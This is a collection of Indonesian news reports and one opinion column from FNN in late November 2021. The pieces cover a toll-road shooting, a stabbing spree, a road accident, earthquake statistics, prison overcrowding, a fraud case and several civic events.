Jakarta, FNN- Polres Metro Jakarta Selatan telah memiliki rekaman CCTV di lokasi penembakan yang dialami dua orang korban di Tol Lingkar Luar Jakarta yakni di Exit Tol Bintaro Jakarta Selatan, Jumat, 26 November 2021. "Kami sudah memperoleh beberapa informasi, rekaman CCTV, dan identitas dari kendaraan yang dipakai pelaku. Benar terjadi, ini masih dalam proses penyelidikan. Kami tidak akan buka sebelum jelas," kata Kapolres Metro Jakarta Selatan, Komisaris Besar Azis Andrianysah. di Jakarta, Sabtu, 27 November 2021. Azis mengatakan, dua korban penembakan yang diduga dilakukan orang tidak dikenal, saat ini menjalani perawatan intensif di Rumah Sakit Kramat Jati Jakarta setelah sebelumnya dirawat di Rumah Sakit Pelni Jakarta Barat. Azis menegaskan, pihaknya memerlukan bukti pendukung yang kuat untuk mengungkap fakta di balik peristiwa itu. "Harus ada bukti pendukung lain yang perlu diperiksa laboratorium forensik dan keterangan ahli," kata dia, sebagaimana dikutip dari Antara. Azis mengatakan, pihaknya mendapat laporan adanya peristiwa penembakan, setelah Polsek Palmerah mendapat informasi dari RS Pelni bahwa ada beberapa orang mendatangi rumah sakit tersebut dengan kondisi luka tembak di bagian tubuhnya. Polres Metro Jakarta Selatan pun langsung mendatangi rumah sakit itu dan memastikan kebenaran informasi itu. "Dari situ kita memperoleh konfirmasi bahwa yang luka dua orang. Satu orang sehat. Orang yang sehat itu kita interogasi untuk diketahui ceritanya dan di mana terjadinya peristiwa penembakan," katanya. Sebelumnya, Kasat Reskrim Polres Metro Jakarta Selatan, AKBP Ridwan mengatakan, peristiwa penembakan itu terjadi pada Jumat, 26 November 2021, sekitar pukul 19.00 WIB. Orang tidak dikenal yang menjadi terduga pelaku, saat ini masih dalam pencarian polisi. "Dua orang korban penembakan, mengalami luka tembak, tapi tidak meninggal dunia. Korbannya selamat," kata Ridwan. Ridwan belum bisa menjelaskan dengan rinci kronologi dari aksi penembakan tersebut. Pihaknya saat ini masih melakukan penyelidikan dengan memeriksa beberapa saksi hingga melakukan pemeriksaan tempat kejadian perkara. (MD).

Siti Fauziah Guru Juga Bentuk Karakter Anak Didik

Jakarta, FNN - Sekretariat Jenderal MPR, Siti Fauziah, mengatakan guru tidak hanya mengajarkan ilmu pengetahuan tetapi juga membentuk karakter dan integritas serta adab dan etika kepada anak didik. “Guru adalah panutan yang harus dihormati. Guru mempunyai jiwa besar karena mengutamakan kepentingan bangsa dan negara daripada kepentingan pribadi,” kata dia, dalam keterangannya diterima di Jakarta Sabtu, 27 November 2021. Ia menyampaikan hal itu saat MPR menggelar sarasehan kehumasan MPR menyapa sahabat kebangsaan di Universitas Jenderal Achmad Yani, Cimahi, Jawa Barat, bertema “Memaknai Nilai Kepahlawanan Tanpa Tanda Jasa Bagi Generasi Milenial”. Menurut dia, sarahsehan kehumasan MPR bertepatan dengan peringatan Hari Guru Nasional yang diperingati pada 25 November 2021 dengan tema“Bergerak dengan Hati, Pulihkan Pendidikan”. Melalui tema itu, guru harus mendidik siswanya dengan sepenuh hati dan memulihkan pendidikan yang selama hampir dua tahun pandemi Covid-19 proses pendidikan dilakukan dengan daring atau virtual. “Hari ini bertepatan dengan Hari Guru Nasional. Kita semua, para dosen dan mahasiswa, menjadi seperti sekarang ini karena jasa para guru. Guru yang mengajarkan ilmu pengetahuan kepada kita semua. Ilmu dari guru tidak ternilai, guru adalah pahlawan tanpa jasa,” katanya, sebagaimana dikutip dari Antara. Ia mengatakan guru adalah panutan yang harus dihormati, orang yang di-gugu dan di-tiru. Jiwa besar para guru bisa dilihat dari pengorbanan yang mengutamakan kepentingan bangsa dan negara dibanding kepentingan pribadi. "Contohnya, para guru di daerah terpencil. Di tengah keterbatasan sarana dan prasarana, guru di daerah terpencil tetap mengajarkan ilmu kepada anak didik,” kata dia. Kemudian, kata dia, guru tidak semata-mata mengajarkan ilmu pengetahuan tetapi juga membentuk karakter dan integritas anak didik. Guru membentuk insan-insan yang akan menjadi pemimpin dan tokoh bangsa. “Guru mempunyai peran yang sangat penting. Mereka memberikan pengetahuan kepada kita, ilmu yang bermanfaat, mereka adalah orang-orang yang mulia,” katanya. Meskipun para siswa bisa mendapatkan pengetahuan lewat perkembangan teknologi informasi (internet), menurut dia, peran guru tetap tidak bisa tergantikan dalam pembentukan karakter dan integritas anak didik. “Guru mengajarkan nilai moral, nilai etika, dan membentuk peserta didik untuk memberikan kontribusi yang baik bagi bangsa dan negara,” katanya. Guru, lanjut dia, mengajarkan etika, membentuk integritas, sehingga para siswa tidak hanya memiliki pengetahuan secara baik, tapi juga memiliki etika, moral, dan nilai-nilai kebenaran. "Guru mengajarkan adab dan etika. Guru adalah teladan buat kita semua,” ucapnya. Pada kegiatan itu dia juga memperkenalkan pijakan Buku Digital MPR yang bisa diunduh di Google PlayStore. Buku Digital MPR yang diluncurkan pada 10 November 2021 berisi produk-produk dari MPR seperti majalah, jurnal, risalah-risalah MPR, dan lainnya. “Semua kalangan termasuk dosen, mahasiswa, yang membutuhkan informasi produk MPR bisa men-download Buku Digital MPR karena banyak produk MPR yang tidak ada dan tidak diperjualbelikan di toko buku,” katanya. Ia juga memperkenalkan novel “Meraih Mimpi” sebagai bacaan ringan yang berisi pesan Empat Pilar MPR. “Ini merupakan bentuk sosialisasi empat pilar MPR baik kelembagaan, tugas dan wewenang maupun visi misi MPR dalam berbagai media seperti buku, novel, komik, dan bahkan melalui perangko,” ucapnya. Sementara itu Wakil Rektor I Universitas Jenderal Ahmad Yani, Agus Subagyo, mengapresiasi kegiatan sarasehan kehumasan, MPR menyapa sahabat kebangsaan di kampus universitas itu. Ia menjelaskan Universitas Jenderal Ahmad Yani berada di bawah Yayasan Kartika Eka Pakçi, yayasan TNI AD. Ketua Dewan Pembina Yayasan Kartika Eka Pakçi adalah kepala staf TNI AD secara ex officio. Universitas Jenderal Ahmad Yani di Cimahi memiliki 10 fakultas dengan 40 program studi dengan jumlah mahasiswa sekitar 18.500 orang. “Sarasehan kehumasan ini bisa memberikan pengalaman untuk membuka wacana baru bagi para mahasiswa. Ini merupakan hal positif dan sangat baik karena MPR bisa menyampaikan pesan," ujarnya. Kegiatan itu langkah awal kemitraaan universitas tersebut sebagai lembaga pendidikan dengan MPR. "Kami berharap ini kemitraan awal untuk ke depan sehingga memberikan manfaat bagi lingkungan kampus,” katanya. (MD).

Putusan MK Soal Omnibus Law Pantas Dicurigai, Ada Agenda Lain?

By Asyari Usman Tiba-tiba saja Mahkamah Konstitusi (MK) menjadi berani melawan. Mereka nyatakan UU Cipta Kerja alias Omnibus Law (OBL) bertentangan dengan UUD 1945. Dinyatakan inkonstitusional. Tidak sah. MK sekarang bagaikan pindah ke kubu oposisi. Ada apa? Mengapa MK sekarang sejalan dengan suara rakyat yang sejak awal menentang OBL? Apakah iya MK berani? Tunggu dulu. Jangan buru-buru menganggap MK berani. Boleh jadi ada agenda lain di balik putusan “heroik” MK itu. Putusan ini perlu dilihat dengan cermat. Sebab, pernyataan bahwa UU Cipta Kerja itu tidak sah, ternyata tidak langsung menguburkan UU ini. Ada syaratnya. Dan syaratnya itu masih memberikan harapan hidup bagi UU yang kontroversial tsb. MK memberikan waktu dua (2) tahun kepada pemerintah untuk memperbaiki UU ini supaya bisa menjadi konstitusional. Artinya, apa yang dinyatakan tidak sah hari ini bisa menjadi sah dua tahun mendatang. Putusan ini bisa menjadi preseden atau yurisprudensi yang berbahaya. Misalnya begini. Seseorang melancarkan kudeta. Tentu tindakan ini bertentangan dengan UUD 1945. Inkonstitusional. Tapi, bisa menjadi konstitusional. Begini penjelasannya. Setelah pemerintahan kudeta berjalan setahun atau dua tahun, misalnya, MK bersidang berdasarkan gugatan. Putusannya menyatakan bahwa pemerintah kudeta itu inkonstitusional. Tidak sah. Namun, MK memberikan waktu dua tahun untuk memperbaiki kinerja pemerintah yang tak sah itu. Kalau baik, maka kudeta menjadi konstitusional. Menjadi sah. Kalau tidak baik, maka pemerintah kudeta menjadi inkonstitusional permanen. Definisi “baik” dan “tidak baik” itu tentu saja sesuai penilaian MK sendiri. Bukankah ini sangat berbahaya? Tentulah sangat, sangat berbahaya bagi kehidupan bernegara. Putusan “bersyarat” yang dikeluarkan MK untuk OBL ini wajar dicurigai dan harus diwaspadai. Mengapa? Karena itu tadi. Putusan ini bisa menimbulkan implikasi yang jauh ke depan. Bisa dijadikan alasan untuk melegalkan tindakan-tindakan yang melanggar konstitusi. Contoh lain adalah perpanjangan masa jabatan presiden atau DPR di luar ketentuan UUD 1945. Dalam hal ini, DPR dan DPD misalnya mengumumkan sidang khusus MPR untuk mengesahkan perpanjangan masa jabatan dimaksud. Tindakan ini inkonstitusional tetapi bisa dibalikkan menjadi konstitusional. Misalnya saja, setelah masa jabatan perpanjangan itu berjalan dua tahun atau tiga tahun, MK menggelar sidang berdasarkan gugatan. Mahkamah kemudian membuat putusan bersyarat. Mereka nyatakan bahwa perpanjangan itu bertentangan dengan UUD 1945 (inkonstitusional) tetapi diberi waktu dua tahun untuk melaksanakan pilpres dan pileg. Semua senang mendapat perpanjangan lima tahun. Dan sah! Tindakan ini semula melanggar UUD tetapi dilegalkan oleh putusan MK. Contoh lain lagi yang tak masuk akal, bisa terjadi. Sebab, putusan bersyarat MK tentang OBL menyediakan yurisprudensinya. Katakanlah Presiden Jokowi tiba-tiba memberhentikan Wakil Presiden Ma’ruf Amin. Kemudian dia angkat Ganjar Pranowo sebagai gantinya. Tindakan ini jelas bertentangan dengan UUD 1945. Tetapi, semua itu bisa menjadi konstitusional lewat putusan MK di masa depan. Ada presedennya, ada yurisprudensinya. Apalagi, para hakim MK yang ada saat ini rata-rata masih akan duduk lebih dari lima tahun mendatang. Sekali lagi, hari ini MK kelihatan seolah berani melawan, tapi boleh jadi ada tujuan lain yang lebih besar.[] (Penulis wartawan senior FNN)

Partai Gelora Mulai Gerakan Tanam 10 Juta Pohon

Jakarta, FNN - Dalam rangka Hari Menanam Pohon Nasional yang jatuh pada tanggal 28 November 2021, Partai Gelora Indonesia akan mencanangkan Gelora Tanam 10 Juta Pohon. Kegiatan akan dipusatkan di sub-das sungai Citarum, kampung Cikoneng, Bandung pada Ahad pagi (28/11). Pada kesempatan tersebut, Ketua Umum Partai Gelora, Anis Matta didampingi jajaran pengurus pusat dan wilayah Jawa Barat, secara simbolis akan menanam pohon secara serentak bersama di 34 provinsi seluruh Indonesia. "Rencananya pada tanggal 28/11 kami akan mulai menanam 10 ribu pohon secara nasional untuk menandai dimulainya gerakan menanam 10 juta pohon hingga November 2023. Jadi ini aksi nyata yang berkelanjutan," papar Ir. Rully Syumanda, Ketua Bidang Lingkungan Hidup DPN Partai Gelora. Gerakan menanam pohon ini dilakukan Partai Gelora berkolaborasi dengan berbagai pihak, mulai dari Kantor Dinas dan Balai Pembibitan di tingkat provinsi dan kabupaten/kota, pihak LSM yang peduli lingkungan hingga kalangan ulama dan artis. "Ya benar. Sudah sepekan kami meluncurkan kampanye literasi dan kolaborasi di media sosial untuk mengajak masyarakat menanam pohon. Kami libatkan kalangan artis yang dikoordinir oleh bang Dedi Mizwar, Ketua Bidang Pengembangan Seni Budaya di Partai Gelora. Kampanye literasi ini akan mengiringi aksi nyata menanam pohon selama dua tahun ke depan hingga tingkat kelurahan dan desa," ungkap Ari Saptono, koordinator Gelora Tanam 10 Juta Pohon. Dalam beberapa tahun terakhir, pemerintah menggiatkan kesadaran dan gerakan menanam pohon untuk mengatasi deforestasi, bertambahnya lahan kritis dan peningkatan suhu udara khususnya di daerah perkotaan. Pemerintah melalui Kementrian Lingkungan Hidup meluncurkan program satu orang menanam dua puluh lima pohon, dengan bibit pohon yang disediakan oleh pemerintah. "Kami di Gelora menyadari benar isu perubahan iklim dan menyambut baik komitmen Presiden Jokowi melawan fenomena perubahan iklim ini pada saat pertemuan G 20 lalu. Maka Gelora Menanam 10 Juta Pohon ini sebagai bentuk partisipasi dan kontribusi kecil kami untuk ikut mengatasi perubahan iklim di Indonesia," ungkap Mahfuz Sidik, Sekjen Partai Gelora Indonesia. (sws)

MUI: Kongres Ekonomi Umat Bukti MUI Tidak Hanya Urusi Fatwa dan Halal

Jakarta, FNN - Kongres Ekonomi Umat yang akan digelar Majelis Ulama Indonesia (MUI) pada 10-12 Desember menjadi bukti bahwa forum ulama Indonesia itu tak hanya mengurusi fatwa dan masalah halal saja, kata Ketua Penyelenggara Kongres, Andi Djuweli. "Harapan kami dengan ulama bergerak ini semua 'stakeholder' merasa ikut menggerakkan ekonomi umat," katanya dalam keterangan tertulis yang diterima di Jakarta, Sabtu. Ia mengatakan kongres yang rencananya digelar di Hotel Sultan, Jakarta, tersebut merupakan ijtihad ulama terhadap ekonomi umat. Ulama tidak hanya memberikan nasihat, tetapi harus sama-sama rembug dalam membangkitkan ekonomi. Apalagi pandemi yang sudah berlangsung hampir dua tahun ini telah memukul perekonomian. Maka ulama perlu turun demi mencegah terjadinya masalah sosial yang berkelanjutan. "Pandemi ini juga bukan soal bencana, tentu kita paham dan belum tahu kapan berakhir. Tetapi kalau kita hanya menunggu saja tidak ada aksi efeknya tentu luar biasa kepada ekonomi umat kita," kata dia. Kongres empat tahunan ini akan dihadiri oleh 11 tokoh besar dan 250 peserta dari berbagai golongan. Tokoh-tokoh yang dijadwalkan hadir seperti Jusuf Kalla dan Chairul Tanjung. Sementara lembaga yang turut ikut yakni Kadin, ACT, BAZNAS, hingga Badan Wakaf Indonesia. Nantinya, kata dia, mereka yang hadir akan merumuskan, memberikan saran dan masukan, serta kritikan terhadap kebijakan pemerintah dalam bidang ekonomi. "Karena bagaimana pun hari ini juga pemerintah juga berkembangnya suatu bangsa dan negara, kuatnya pemerintah, dibangun bersama-sama," katanya. Menurutnya, salah satu poin penting dalam pembahasan kongres yakni menyoroti UMKM. Sebab, UMKM menjadi salah satu tulang punggung perekonomian negara yang mampu membangkitkan diri dari keterpurukan. "Ulama merasa bagaimana menggerakkan ini semua. Jadi soal pandemi kita ikhtiar bagaimana menyelesaikan pandemi, tapi soal ekonomi jangan sampai tidak selesai. Sebab kalau tidak diselesaikan akan menjadi bahaya," demikian Andi Djuweli. (mth)

BMKG Catat 67 Kali Kejadian Gempa Bumi Guncang Manggarai Barat

Labuan Bajo, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) Stasiun Geofisika Kupang mencatat 65 kali kejadian gempa bumi mengguncang Kabupaten Manggarai Barat, Provinsi Nusa Tenggara Timur (NTT) selama periode Oktober-November 2021. "Terjadi 67 kejadian gempa bumi yang mana 65 kejadian dengan magnitudo kurang dari empat dan gempa bumi magnitudo kurang dari 4 dan lebih dari 5 sebanyak 2 kejadian," kata Kepala Stasiun Geofisika Kupang Margiono ketika dihubungi dari Labuan Bajo, Sabtu. Ia menjelaskan berdasarkan kedalaman, gempa bumi dangkal dengan kedalaman kurang dari 60 km terjadi sebanyak 33 kejadian, gempa bumi menengah (60-300 km) sebanyak 33 kejadian, dan gempa bumi dalam atau lebih dari 300 km sebanyak 1 kejadian. Sedangkan berdasarkan lokasi kejadian, katanya, sebanyak 53 kali gempa bumi terjadi di laut dan 14 kali gempa bumi di darat. Margiono menjelaskan wilayah Manggarai Barat merupakan daerah dengan tingkat kegempaan yang cukup tinggi. Sehingga, perlu edukasi mitigasi bencana gempa bumi dan tsunami baik oleh pemerintah daerah dan masyarakat. Dia meminta masyarakat tidak perlu panik dengan kondisi tersebut. Melalui mitigasi bencana yang baik, maka ada minimalisasi korban jiwa saat terjadinya bencana gempa dan tsunami. Selain itu, BMKG pun selalu mengamati dan memonitor kejadian gempa 24 jam per 7 hari. Sehingga, segala informasi terkait kebencanaan dapat diakses oleh masyarakat secara luas. Berdasarkan data BMKG, Labuan Bajo merupakan daerah rawan gempa dan tsunami baik berdasarkan aspek sumber gempa maupun aspek sejarah. Jika merunut aspek sumber gempa, letak Labuan Bajo, Manggarai Barat berdekatan dengan sumber gempa Sesar Naik Flores/Patahan Naik Flores dengan magnitudo tertarget M 7,5. Selanjutnya, Manggarai Barat berdekatan dengan sumber gempa Zona Megathrust Segmen Sumba yang memiliki magnitudo tertarget M8,3. Sedangkan berdasarkan sejarah, perairan Labuan Bajo di Manggarai Barat dan Komodo pernah mengalami dua kali tsunami, yaitu pada 28 November 1836 dan 14 April 1855. Sebagai kawasan seismik aktif, hasil monitoring BMKG menunjukkan wilayah Manggarai Barat yakni Labuan Bajo dan sekitarnya memiliki aktivitas kegempaan yang cukup tinggi yang tampak dari peta seismisitas. Gempa bumi sendiri akan mengalami periode berulang. Jika terjadi gempa akibat Sesar Naik Flores dengan kekuatan M7,4 maka status ancaman tsunami di Labuan Bajo berdasarkan skenario model tsunami ialah Siaga dengan tinggi antara 0,5 hingga tiga meter. Namun jika terjadi gempa di zona megathrust Sumba dengan kekuatan M8,3, maka status ancaman tsunami di Labuan Bajo yakni Awas dengan ketinggian di atas tiga meter. Berdasarkan fakta tersebut, maka wilayah Labuan Bajo yang telah ditetapkan sebagai destinasi pariwisata super prioritas membutuhkan pengawalan dalam bentuk mitigasi bencana, demikian Margiono. (mth)

Sleman Sosialisasi Cukai Rokok Melalui Olahraga dan Budaya

Sleman, FNN - Pemerintah Kabupaten Sleman bersama dengan Kantor Bea dan Cukai Yogyakarta mengadakan sosialisasi berbagai informasi tentang cukai rokok melalui kegiatan olahraga dan budaya di halaman Kantor Kelurahan Purwomartani, Kapanewon (Kecamatan) Kalasan, Sabtu. Dalam kesempatan tersebut sosialisasi disampaikan kepada komunitas senam, komunitas sepeda ontel, serta komunitas jemparingan (panahan tradisional). Wakil Bupati Sleman Danang Maharsa mengatakan bahwa kegiatan sosialisasi cukai tembakau ini merupakan salah satu program yang menggunakan dana dari pengembalian cukai tembakau Kabupaten Sleman pada tahun 2021. Pada tahun ini, kata Danang, Sleman mendapatkan pengembalian cukai tembakau dari Dana Bagi Hasil Cukai Hasil Tembakau (DBHCHT) sebesar Rp1,6 miliar yang juga akan dimanfaatkan untuk sosialisasi dalam berbagai program. "Selain dana bagi hasil cukai hasil tembakau itu untuk kesehatan, kami pergunakan juga untuk kegiatan kemasyarakat seperti saat ini dan juga dalam bentuk program Bantuan Langsung Tunai (BLT) kepada masyarakat tidak mampu. terutama buruh pabrik dan petani tembakau di daerah ini," katanya. Ia menjelaskan tujuan sosialisasi tersebut untuk menambah pengetahuan, wawasan, dan mencegah terjadinya pelanggaran terhadap cukai tembakau ilegal sehingga turut serta membantu mengoptimalkan penerimaan negara di sektor cukai tembakau. "Harapannya dana bagi hasil ini bisa dikembalikan lagi kepada masyarakat dalam bentuk program-program kemasyarakatan sehingga dapat dimanfaatkan langsung oleh masyarakat Sleman," katanya. Selain itu, lanjut dia, yang paling penting masyarakat akhirnya sadar dan ikut menyosialisasikan tentang cukai rokok ini. "Ternyata kemasan sosialisasi seperti ini banyak dijadikan percontohan oleh daerah lain di luar Kabupaten Sleman. Sebelumnya kami sempat mengadakan sosialisasi lewat pertunjukan ketoprak. Banyak daerah lain melihat bahwa kemasan seperti ini sangat bagus dan menarik untuk ditiru dan diterapkan," katanya. Kepala Kantor Bea dan Cukai Yogyakarta yang diwakili Andrias Wunika Susi Lestyarini mengatakan bahwa kegiatan sosialisasi tersebut merupakan salah satu upaya memberikan pemahaman kepada komunitas masyarakat atau masyarakat secara luas terkait dengan cukai legal yang dapat memberikan manfaat kepada masyarakat. "Sosialisasi agar memberikan pemahaman kepada masyarakat bahwa tembakau yang kemudian menghasilkan dan memberikan pendapatan bagi daerah, dikembalikan lagi kepada masyarakat melalui kegiatan positif olahraga, seni, kebudayaan, dan lainnya," katanya. Ia menegaskan bahwa memperjualbelikan rokok ilegal merupakan tindakan melanggar hukum. Dengan membeli rokok yang legal, dapat berkontribusi terhadap dana bagi hasil cukai hasil tembakau yang nantinya akan disalurkan kembali untuk peningkatan kesejahteraan masyarakat. Kegiatan sosialisasi ditutup dengan pelepasan keberangkatan komunitas sepeda ontel yang dilepas langsung oleh Danang Maharsa, kemudian olahraga senam yang diikuti oleh Ketua TP PKK Kabupaten Sleman Ny. Sri Hapsari Suprobo Dewi, dan diakhiri dengan kegiatan jemparingan bersama. (sws)

Ditjenpas Optimalkan Pemberian Remisi Atasi "Over" Kapasitas di Lapas

Jakarta, FNN - Direktur Pembinaan Narapidana dan Latihan Kerja Produksi, Direktorat Jenderal Pemasyarakatan Kementerian Hukum dan Hak Asasi Manusia (Ditjenpas Kemenkumham), Thurman Saud Marojahan Hutapea mengatakan pihaknya mengoptimalkan pemberian remisi untuk mengatasi kelebihan kapasitas di lembaga pemasyarakatan. “Ditjenpas melakukan optimalisasi pemberian remisi, ada remisi umum, remisi khusus, remisi lansia, remisi sakit permanen, remisi anak, dan remisi dasawarsa bagi pidana umum,” ujar Thurman Saud Marojahan Hutapea. Hal tersebut dipaparkannya dalam webinar nasional bertajuk “Keadilan Bercita Hukum Pancasila dalam Pembaharuan Sistem Pemidanaan dan Pemasyarakatan di Indonesia” yang disiarkan langsung di kanal YouTube Official Fakultas Hukum Universitas Diponegoro, dipantau dari Jakarta, Sabtu. Melalui optimalisasi pemberian remisi itu, lanjut Thurman, hak-hak warga binaan diharapkan pula menjadi tidak terabaikan sepanjang mereka memenuhi syarat-syarat yang ditentukan dalam regulasi untuk mendapatkan remisi. Di samping langkah tersebut, menurut Thurman, Ditjenpas juga melakukan upaya-upaya lain untuk mengatasi persoalan “over” atau kelebihan kapasitas di lapas. Upaya selanjutnya adalah mengoptimalkan pemberian pembebasan bersyarat (PB), cuti bersyarat (CB), cuti menjelang bebas (CMB), dan asimilasi rumah, yaitu pembinaan narapidana dengan membaurkan mereka ke dalam kehidupan masyarakat di lingkungan rumah. Di samping itu, tambah Thurman, Ditjenpas juga menggencarkan koordinasi dengan pihak penegak hukum untuk menerapkan keadilan restoratif, yakni penyelesaian perkara yang adil dengan menekankan pada pemulihan seperti keadaan semula. Lalu, ada pula langkah pembangunan lapas baru dan penambahan kapasitas hunian yang disesuaikan dengan anggaran dari pemerintah. “Kita juga sudah melakukan redistribusi narapidana dari lapas yang over kapasitasnya luar biasa ke lapas yang dimungkinkan masih bisa menampung mereka,” tambah Thurman. Sebelumnya, diketahui lapas di Indonesia mengalami persoalan kelebihan kapasitas penghuni. Berdasarkan data dari Ditjenpas Kemenkumham per Maret 2021, tercatat total penghuni lapas mencapai 255.435 orang, sedangkan kapasitasnya hanya mampu menampung sebanyak 135.647 orang. Dari data itu, artinya, lapas di Indonesia mengalami kelebihan kapasitas sebanyak 88 persen dari kapasitas yang ada. Oleh karena itu, Ditjenpas semakin gencar melakukan upaya untuk mengatasi kelebihan kapasitas di lapas Indonesia. (sws)

Polisi Kediri Tangani Kecelakaan Empat Meninggal

Kediri, FNN - Aparat Kepolisian Resor Kediri, Jawa Timur, menangani kecelakaan antara mobil dan truk yang mengakibatkan empat orang santri meninggal dunia. Kepala Satuan Lalu Lintas Polres Kediri AKP Bobby Mochammad Zulfikar mengemukakan kejadian kecelakaan antara truk tronton dengan mobil elf itu terjadi di jalan umum Desa Gampeng, Kecamatan Gampengrejo, Kabupaten Kediri. "Sebelum terjadi kecelakaan lalu lintas pengemudi truk melaju dari arah selatan ke utara dan sesampai TKP terjadi laka lantas. Mobilnya melaju dari arah sebaliknya," katanya di Kediri, Sabtu. Ia mengatakan, mobil elf dengan nomor polisi S 7987 W mengangkut para santri dari sebuah pondok pesantren di Jombang. Mereka rencana hendak liburan ke Pantai Prigi, Kabupaten Trenggalek dan akhirnya pupus setelah kendaraan yang mereka tumpangi justru mengalami kecelakaan lalu lintas. Pengemudi truk yang masih belum diketahui identitasnya diduga terlalu ke kanan saat melaju, sehingga menabrak mobil tersebut. Bagian kanan mobil terkelupas. Dalam musibah itu, terdapat sekitar sembilan orang penumpang mobil elf. Dari jumlah itu, empat penumpang mobil elf meninggal dunia akibat luka yang mereka derita. Korban meninggal antara lain Suparman (48), warga Desa Gading Mangu, Kecamatan Perak, Kabupaten Jombang. Korban lainnya adalah Abdul Azis (38), Nur Hasan Saudi (38) dan Nur Wakid (42). Alamat mereka sama dengan dengan korban Suparman. Seluruh jenazah saat ini sudah dibawa ke RS Bhayangkara, Kota Kediri, untuk mendapatkan perawatan. Sedangkan korban yang luka juga dirujuk ke rumah sakit terdekat. Sementara itu, badan elf diketahui rusak berat terutama bagian tepi sebelah kanan. Sedangkan pengemudi truk tronton saat ini masih diburu petugas. Warga yang menyaksikan kejadian kecelakaan itu juga sempat berusaha membantu petugas. Arus lalu lintas sempat menjadi macet, saat proses evakuasi. Namun, tidak berapa lama petugas mobil derek membantu menderek mobil elf yang mengalami kecelakaan itu ke lokasi untuk menaruh kendaraan kecelakaan Satlantas Polres Kediri. Saat ini, arus lalu lintas sudah kembali normal. Polisi juga masih melakukan penyelidikan sopir truk yang menyebabkan kecelakaan itu. (sws)

Polisi Dalami Motif Pembunuhan Berantai Lima Warga di OKU Sumsel

Sumatera Selatan, FNN - Kepolisian Resor Ogan Komering Ulu (Polres OKU), Sumatera Selatan, mendalami motif pembunuhan terhadap lima orang warga Kampung I, Desa Sungai Bunglai, Kecamatan Peninjauan, OKU. Lima korban tersebut berinisial S (45), I (48), E (40), HJ (33) dan Er (35). Mereka tewas dibunuh secara tragis oleh pelaku berinisial OF (25) seorang pria yang warga setempat pada Jumat (26/11). Kepala Satuan Reserse Kriminal Polres OKU Ajun Komisaris Polisi Hillal Adi Imawan di Baturaja, Sabtu mengatakan, pelaku sudah diamankan oleh anggotanya ke Mapolres beberapa saat setelah melakukan aksinya. Pelaku diperiksa secara intensif oleh petugas untuk menggali alasan ia menghabisi nyawa lima tetangganya tersebut. Menurutnya, dari keterangan yang didapat pelaku menyebut ia merasa sakit hati terhadap salah satu korban yang diduga sudah mengambil kartu ATM miliknya. Namun polisi belum dapat memastikan keterangan tersebut lantaran saat diinterogasi pelaku sedikit ngawur saat berbicara. Sebagaimana diketahui dari informasi warga setempat pelaku itu diduga memiliki keterbelakangan mental. “Belum bisa kami pastikan motif seperti apa. Masih kami tindak lanjuti peristiwa ini seperti memeriksa saksi-saksi dan memerlukan bantuan dokter atau psikolog untuk memastikan kondisi kesehatan jiwa pelaku tersebut,” ujarnya. Sementara itu, Kepala Seksi Humas Polres OKU Ajun Komisaris Polisi Mardi Nursal mengatakan, berdasarkan keterangan dari saksi kejadian tersebut berlangsung Jumat (26/11) sekitar pukul 16.30 WIB. Ia menjelaskan, mulanya pelaku OF (25) keluar dari rumahnya dengan menggunakan sepeda motor dan makan somai di warung. Disana pelaku bertemu korban pertama H, tanpa diduga langsung ditusuk oleh pelaku dengan menggunakan sebilah pisau sampai tersungkur. “Kemudian terjadi keributan di sana. Sehingga, korban kedua I yang sedang melintas di lokasi berhenti bermaksud hendak melihat namun, malah ikut kena tusuk,” ujarnya. Kejadian berlanjut, pelaku masuk ke belakang rumah warga menuju ke arah sumur. Disana, ia bertemu korban ketiga yakni E yang sedang mengambil air. Lanjutnya, E (40) suami dari Er yang melihat istrinya menjerit kesakitan langsung keluar rumah bermaksud hendak menolong. Namun naas ia ternyata ikut ditusuk oleh pelaku. "Er sempat dilarikan ke rumah sakit, namun nyawanya tidak terselamatkan akibat luka di bagian leher," ujarnya. Sama halnya dialami oleh korban kelima S yang mendengar keributan langsung keluar rumah dan tewas dengan menggunakan senjata tajam. Setelah itu pelaku langsung pulang ke rumah hingga akhirnya ditangkap petugas. “Saat ini para korban sudah diserahkan kepada keluarga,” tandasnya. (sws)

Polisi Belum Hentikan Kasus Dugaan Penipuan Wabup Halmahera Utara

Ternate, FNN - Tim penyidik Direktorat Reserse Kriminal Umum (Ditreskrimum) Polda Maluku Utara (Malut) belum menghentikan kasus dugaan penipuan yang dilakukan Wakil Bupati Halmahera Utara (Halut) Muhlis Tapi Tapi kepada Rizal Kibas. "Memang Surat Penghentian Penyidikan dan Penuntutan (SP3) dalam kasus dugaan tindak pidana penipuan yang diduga melibatkan Wabup Halut belum ditindaklanjuti, karena saat ini penyidik masih memberikan waktu kepada kedua belah pihak untuk berdamai, hanya saja sampai saat ini masih belum ada titik terang," kata Kabid Humas Polda Maluku Utara, Kombes Pol Adip Rojikan di Ternate, Sabtu. Dia mengatakan, kasus tersebut sampai saat ini masih ditangani, karena sampai sekarang kasusnya belum dicabut laporannya, sehingga proses saat ini mereka sedang mediasi. Adip menambahkan, setelah berproses kasusnya, kedua belah pihak dimediasi hanya saja saat ini Polda Malut memberikan waktu. "Setelah berproses ternyata ada mediasi di antara mereka, jadi kita berikan waktu untuk mereka melakukan mediasi dengan batas waktu tertentu," ujarnya. Mantan Wakapolres Halmahera Utara ini menyatakan, jika dalam waktu yang diberikan tidak ada titik terangnya, pihaknya mempersilakan pihak yang dirugikan untuk melapor. Dalam kasus tersebut pelapor mengalami kerugian mencapai Rp1,4 miliar dan yang baru dikembalikan Wakil Bupati Halmahera Utara Rp1 miliar. "Berdasarkan laporan, total kerugian dialami korban senilai Rp1,4 miliar dan baru dikembalikan sebesar Rp1 miliar," ujarnya. Kasus dugaan penipuan yang dilakukan Wakil Bupati Halmahera Utara Muhlis Tapi Tapi tersebut dilaporkan ke Ditreskrimum Polda Malut. Kasus itu terkait dengan pinjaman uang kepada pemilik Rizal Kibas. Wakil Bupati Halut Muhlis Tapi Tapi sudah pernah diperiksa penyidik Ditreskrimum Polda Malut. (sws)

TNI AL Bangun Lanal Sanana di Malut pada 2022

